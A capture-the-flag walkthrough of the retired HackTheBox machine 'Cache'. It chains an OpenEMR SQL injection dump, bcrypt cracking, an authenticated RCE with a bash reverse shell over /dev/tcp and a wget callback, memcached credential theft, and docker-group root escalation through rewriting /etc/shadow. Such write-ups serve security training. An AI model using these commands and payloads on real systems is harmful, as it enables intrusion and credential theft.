HTB: Cache

Cache card

This is a writeup about a retired HacktheBox machine: Cache created by ASHacker and publish on May 9, 2020. This box is classified as a medium machine. The user part is the harder as it involve some enumeration, chaining two exploit for openEMR. The root part is quit easier as it was a simple "exploitation" the box's memcache and the docker permissions.



We start with an nmap scan. Only port 22 (SSH) and 80 (HTTP) are open.

# Nmap 7.80 scan initiated Sat May 16 03:28:10 2020 as: nmap -p- -sSV -oN nmap
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Sat May 16 03:37:19 2020 -- 1 IP address (1 host up) scanned in 549.65 seconds


We look at the website. The homepage is describing the different type of hacker (sic) (red hats really?).

Cache home page

There is a login page.

Cache login page

When we try to login we see in Burp that there is no request sent. We look at the JavaScript files loaded by the page and mostly at the file functionality.js located at http://cache.htb/jquery/functionality.js. The file contain the credentials for the login form: ash:H@v3_fun


    var error_correctPassword = false;
    var error_username = false;

    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
        error_username = false;

        if(error_correctPassword == false && error_username ==false){
            return true;
            return false;


Note: the page is also directly accessible without authentication. Some JavaScript on the body tag will make you go back to the login page if you don't have the right referer.

The page is just under construction and there is not a much to do.

Page under construction

We read the author's page again and focus on its other project: HMS.

We modify our /etc/hosts to add the hms.htb domain (still on the same IP address). We can then browser to the page and get a authentication form for openEMR. The previously find credentials are not working..

Page under construction

We run a dirb against this new domain and found a admin.php file.

dirb http://hms.htb

DIRB v2.22
By The Dark Raver

START_TIME: Sat May 16 04:43:49 2020
URL_BASE: http://hms.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: http://hms.htb/ ----
+ http://hms.htb/admin.php (CODE:200|SIZE:937)
==> DIRECTORY: http://hms.htb/common/
==> DIRECTORY: http://hms.htb/config/

We cannot do much with this admin page but it disclose us the exact version of openEMR used.

Page under construction

We use searchsploit in order to find an exploit for our version but all of them are authenticated.

kali@kali:~/$ searchsploit openemr  5.0.1 
------------------------------------------------------------ ---------------------------------
Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
OpenEMR - (Authenticated) Arbitrary File Actions    | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution     | php/webapps/
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution     | php/webapps/
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

We launch metasploit and search of openEMR exploit. We found a SQL injection dump exploit.

msf5 > search openemr

Matching Modules

  #  Name                                             Disclosure Date  Rank       Check  Description
  -  ----                                             ---------------  ----       -----  -----------
  0  auxiliary/sqli/openemr/openemr_sqli_dump         2019-05-17       normal     Yes    OpenEMR 5.0.1 Patch 6 SQLi Dump
  1  exploit/unix/webapp/openemr_sqli_privesc_upload  2013-09-16       excellent  Yes    OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
  2  exploit/unix/webapp/openemr_upload_exec          2013-02-13       excellent  Yes    OpenEMR PHP File Upload Vulnerability

We configure the different option, especially the vhost and run the exploit. We quickly get some result and it start to dump the first table out of 295… 295! This will take forever.

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options

Module options (auxiliary/sqli/openemr/openemr_sqli_dump):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the OpenEMR installation
  VHOST      hms.htb          no        HTTP server virtual host

msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against

[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
^C[-] Stopping running against current target...
[*] Control-C again to force quit all targets.

We grab the exploit code on rapid7 github and rewrite the dump_all module in order to just list the different tables (we just comment the lines dumping and saving the tables).

  def dump_all
    payload = 'version()'
    db_version = exec_payload_and_parse(payload)
    print_status("DB Version: #{db_version}")
    print_status('Enumerating tables, this may take a moment...')
    tables = enumerate_tables
    num_tables = tables.length
    print_status("Identified #{num_tables} tables.")

    # These tables are impossible to fetch because they increase each request
    skiptables = %w[form_taskman log log_comment_encrypt]
    tables.each_with_index do |table, i|
      if skiptables.include?(table)
        print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
        print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}")
        #table_data = walk_table(table)
        #save_csv(table_data, table)
    print_status("Dumped all tables to #{Msf::Config.loot_directory}")

We load our private msf module configure it and run it.

msf5 auxiliary(test/openemr_sqli_dump) > run
[*] Running module against

[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
[*] Dumping table (284/295): therapy_groups_counselors
[*] Dumping table (285/295): therapy_groups_participant_attendance
[*] Dumping table (286/295): therapy_groups_participants
[*] Dumping table (287/295): transactions
[*] Dumping table (288/295): user_settings
[*] Dumping table (289/295): users
[*] Dumping table (290/295): users_facility
[*] Dumping table (291/295): users_secure
[*] Dumping table (292/295): valueset
[*] Dumping table (293/295): version
[*] Dumping table (294/295): voids
[*] Dumping table (295/295): x12_partners

We quickly look at the table structure on the openEMR wiki and dump the table users with the index 288 (yes the table index start at 0).

It contains nothing interesting as the users' password where moved into the users_secure table (an attentive reading of the wiki page will had give us that immediately).

We re-wrote our personal module in order to dump the table users_secure with the index 290. The dump_all function now looks like the following:

  def dump_all
    payload = 'version()'
    db_version = exec_payload_and_parse(payload)
    print_status("DB Version: #{db_version}")
      print_status("version 2")
    print_status('Enumerating tables, this may take a moment...')
    tables = enumerate_tables
    num_tables = tables.length
    print_status("Identified #{num_tables} tables.")

    # These tables are impossible to fetch because they increase each request
    skiptables = %w[form_taskman log log_comment_encrypt]
    tables.each_with_index do |table, i|
      if skiptables.include?(table)
        print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
          if i == 290
            print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}")
            table_data = walk_table(table)
            save_csv(table_data, table)
    print_status("Dumped all tables to #{Msf::Config.loot_directory}")

We rerun our module and get the looted data, this time we have the username and a password hash!

kali@kali:~/$ cat /home/kali/.msf4/loot/20200516080433_default_10.10.10.188_openemr.users_se_390635.csv
1,openemr_admin,$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.,$2a$05$l2sTLIG6GTBeyBf7TAKL6A$,2019-11-21 06:38:40,"","","",""

We load the has inside john the ripper and quickly get the password xxxxxx.

$ john hash
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
xxxxxx           (?)
1g 0:00:00:00 DONE 2/3 (2020-05-16 14:07) 4.347g/s 5008p/s 5008c/s 5008C/s stinky..88888888
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We can now connect on OpenEMR using our credentials openemr_admin:xxxxxx.

OpenEMR authenticated

We then fireup the authenticated exploit for openEMR found previously. At the same time we start a simple Python HTTP server in order to check our RCE. It works.

$python ./ 'http://hms.htb' -u openemr_admin -p xxxxxx -c 'wget$(id)t 0>&1'

$python3 -m http.server 8081
Serving HTTP on port 8081 ( ... - - [16/May/2020 08:44:58] code 404, message File not found - - [16/May/2020 08:44:58] "GET /uid=33(www-data) HTTP/1.1" 404 -

We change our payload in order to get a reverse shell. We launch a netcat to catch our reverse shell.

$python ./ 'http://hms.htb' -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/ 0>&1'

$nc -l -p 4242
bash: cannot set terminal process group (2504): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ whoami

We use python in order to get a better shell. And switch user to ash reusing the password found in the JavaScript file. This allow us to get to the user.txt flag.

www-data@cache:/var/www/hms.htb/public_html/interface/main$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ su ash
su ash
Password: H@v3_fun

ash@cache:/var/www/hms.htb/public_html/interface/main$ cd
  ash@cache:~$ cat user.txt
cat user.txt


We use pspy to enumerate the running process. We see that a few process are running especially dockerd and memecached. Given the name of the box is certain that the memcached process is involved.

www-data@cache:/tmp/.plop$ ./pspy64
2020/05/16 16:16:33 CMD: UID=103  PID=994    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2020/05/16 16:16:33 CMD: UID=0    PID=992    | /usr/sbin/cron -f 
2020/05/16 16:16:33 CMD: UID=0    PID=977    | /usr/bin/dockerd -H fd:// 
2020/05/16 16:16:33 CMD: UID=0    PID=969    | /usr/lib/accountsservice/accounts-daemon 
2020/05/16 16:16:33 CMD: UID=111  PID=964    | /usr/bin/memcached -m 64 -p 11211 -u memcache -l -P /var/run/memcached/ 
2020/05/16 16:16:33 CMD: UID=0    PID=961    | /usr/bin/VGAuthService 
2020/05/16 16:16:33 CMD: UID=0    PID=96     |

A few Google search lead us to an article about testing memcached. We connect to the service using telnet. We list the item available, get the user and the passwd items.

www-data@cache:/var/cache/apt$ telnet 11211
telnet 11211
Connected to
Escape character is '^]'.
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
get user
VALUE user 0 5
get passwd
VALUE passwd 0 9

We get back to an interactive shell and switch user to luffy. We quickly identify that we belong to the docker group and display the docker version.

$ su luffy
su luffy
Password: 0n3_p1ec3

luffy@cache:/var/www/hms.htb/public_html/interface/main$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

luffy@cache:/var/www/hms.htb/public_html/interface/main$ docker --version
docker --version
Docker version 18.09.1, build 4c52b90

We use searchsploit again but th listed one is destructive.

A few Google search lead us to another article explaining how you can get a full access to the host system by mounting it into the docker machine. We quickly list the available images. Only a ubuntu is available.

luffy@cache:/var/www/hms.htb/public_html/interface/main$ docker image ls
docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        7 months ago        64.2MB

We mount /root/ into our docker machine and that allow us to get the root.txt flag.

luffy@cache:~/.plop$ docker run -v /root/:/mnt -it ubuntu
docker run -v /root/:/mnt -it ubuntu
root@884f0f892e34:/#ls /mnt
ls /mnt
root@884f0f892e34:/# cat /mnt/root.txt
cat /mnt/root.txt

We could also have mounted the whole file system / and get the content of /etc/shadow to crack the root password. Or even rewrite the root password in /etc/shadow.

Another docker trick is to chroot into the mounted folder to get a root to directly get a shell on the system: docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh

We can then generate a new password using perl

# perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'

And then put the new hash value in a new file /etc/, check it and then replace the original /etc/shadow file. One the new value is set we can exit the docker and switch user to root.

# perl -pe 's|(root):(\$.*?:)|\1:\$6\$SALTsalt\$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:|' /etc/shadow > /etc/
perl -pe 's|(root):(\$.*?:)|\1:\$6\$SALTsalt\$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:|' /etc/shadow > /etc/
# cat /etc/
cat /etc/
# mv /etc/ /etc/shadow    
mv /etc/ /etc/shadow
# exit
luffy@cache:~$ su
Password: password


Wrapping up

The box was overall interesting. The root part was really nice as it chained the memcache "exploitation" and the "docker" one.